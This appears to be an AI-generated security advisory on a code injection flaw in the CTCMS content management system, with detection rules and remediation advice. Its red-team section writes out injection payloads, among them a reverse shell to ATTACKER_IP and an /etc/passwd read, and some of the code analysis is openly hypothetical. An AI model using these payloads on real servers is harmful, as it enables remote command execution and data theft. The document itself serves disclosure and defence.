CVE-2025-14729

Executive Summary

CVE-2025-14729 is a code injection vulnerability identified in the CTCMS Content Management System, affecting versions up to and including 2.1.2. The flaw resides in the Save function of the /ctcms/libs/Ct_App.php file within the Backend App Configuration Module. By manipulating the CT_App_Paytype argument, an authenticated attacker with administrative privileges can inject arbitrary PHP code, leading to remote code execution (RCE) on the underlying server. The exploit is publicly available, increasing the risk of active exploitation. The vendor has not released a patch, leaving all installations of CTCMS 2.1.2 and earlier vulnerable.

This vulnerability is not related to a WordPress plugin or component; it is a standalone CMS.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access to the backend.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the availability of a public exploit and the lack of a patch elevate the real-world risk for organizations using CTCMS.

Deep Dive & Mechanics

The vulnerability is a classic case of insecure deserialization or direct code injection within the application's configuration handling logic. The Save function in Ct_App.php processes the CT_App_Paytype parameter without proper sanitization or validation. This parameter is likely used to store payment type configuration data, which is then evaluated or executed by the application.

Attack Flow:

1. An attacker authenticates to the CTCMS backend with administrative credentials.
2. The attacker navigates to the Backend App Configuration Module.
3. The attacker crafts a malicious payload for the CT_App_Paytype parameter, such as '; system($_GET['cmd']); //.
4. The Save function writes this payload into a configuration file or directly evaluates it.
5. When the application processes the configuration, the injected code executes, allowing the attacker to run arbitrary system commands.

The root cause is the use of eval(), assert(), preg_replace() with the /e modifier, or similar dangerous functions that treat user-supplied input as code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code and a secure alternative.

Vulnerable Code (ctcms/libs/Ct_App.php):

<?php
class Ct_App {
    public function Save($data) {
        $paytype = $data['CT_App_Paytype'];
        // Directly evaluating user input
        eval("\$config = '$paytype';");
        // ... save $config to file
    }
}
?>

Patched Code (Hypothetical):

<?php
class Ct_App {
    public function Save($data) {
        $paytype = $data['CT_App_Paytype'];
        // Validate against a whitelist of allowed values
        $allowed = ['paypal', 'stripe', 'bank_transfer'];
        if (in_array($paytype, $allowed, true)) {
            // Safe processing
            $config = $paytype;
            // ... save $config to file
        } else {
            throw new Exception("Invalid payment type.");
        }
    }
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running CTCMS <= 2.1.2.
• Valid admin credentials (e.g., admin:admin).

Exploit Steps:

1. Log in to the CTCMS backend.
2. Navigate to the Backend App Configuration (e.g., /ctcms/admin/index.php?mod=app).
3. Intercept the Save request using a proxy like Burp Suite.
4. Modify the CT_App_Paytype parameter to inject code:

   CT_App_Paytype=paypal'; system($_GET['cmd']); //
   

5. Send the request.
6. Execute commands by accessing a page that triggers the configuration, appending ?cmd=id to the URL.

Example Payloads:

• Reverse shell: CT_App_Paytype=paypal'; exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); //
• File read: CT_App_Paytype=paypal'; echo file_get_contents('/etc/passwd'); //

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /ctcms/libs/Ct_App.php containing CT_App_Paytype with special characters like ', ;, $, or backticks.
• Alert on admin accounts performing configuration changes outside of normal business hours.
• Use file integrity monitoring (FIM) to detect unauthorized modifications to configuration files.

Hunting:

• Search web server logs for requests containing CT_App_Paytype followed by encoded or suspicious strings.
• Look for processes spawned by the web server user (e.g., www-data) that are unusual, such as bash, nc, or python.

Indicators of Compromise (IOCs)

• File Path: /ctcms/libs/Ct_App.php (modified or containing eval/assert).
• Log Entries: POST requests to /ctcms/libs/Ct_App.php with CT_App_Paytype containing system, exec, shell_exec, or base64-encoded strings.
• Network Traffic: Outbound connections from the web server to unknown IPs on ports like 4444, 8080, or 1337.
• Processes: Unusual processes like bash -c, python -c, or nc -e running under the web server user.
• File Hashes: Configuration files (e.g., config.php) with unexpected PHP code.

Detection Engineering

YARA Rule

rule CVE_2025_14729_CTCMS_CodeInjection {
    meta:
        description = "Detects code injection attempts targeting CVE-2025-14729 in CTCMS"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $payload1 = "CT_App_Paytype" nocase
        $payload2 = "system(" nocase
        $payload3 = "exec(" nocase
        $payload4 = "shell_exec(" nocase
        $payload5 = "eval(" nocase
        $payload6 = "assert(" nocase
        $payload7 = "preg_replace" nocase
    condition:
        $payload1 and any of ($payload2, $payload3, $payload4, $payload5, $payload6, $payload7)
}

Sigma Rule

title: CVE-2025-14729 CTCMS Code Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to Ct_App.php with suspicious CT_App_Paytype parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/ctcms/libs/Ct_App.php'
    keywords:
        - 'CT_App_Paytype'
        - 'system('
        - 'exec('
        - 'shell_exec('
        - 'eval('
        - 'assert('
    condition: selection and keywords
falsepositives:
    - Legitimate admin configuration changes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14729 CTCMS Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ctcms/libs/Ct_App.php"; http_uri; content:"CT_App_Paytype"; http_client_body; pcre:"/(system|exec|shell_exec|eval|assert)\s*\(/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate CTCMS: If possible, take the vulnerable system offline or restrict network access to only trusted IPs.
2. Disable Backend Access: Block external access to the /ctcms/admin/ directory using a firewall or web server configuration.
3. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing CT_App_Paytype with suspicious patterns (e.g., system(, exec().

Long-Term Fix:

• Since no official patch exists, consider migrating to an alternative CMS or manually hardening the code by:
  • Removing eval(), assert(), and similar dangerous functions from Ct_App.php.
  • Implementing strict input validation using a whitelist approach.
  • Escaping or encoding all user-supplied data before processing.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.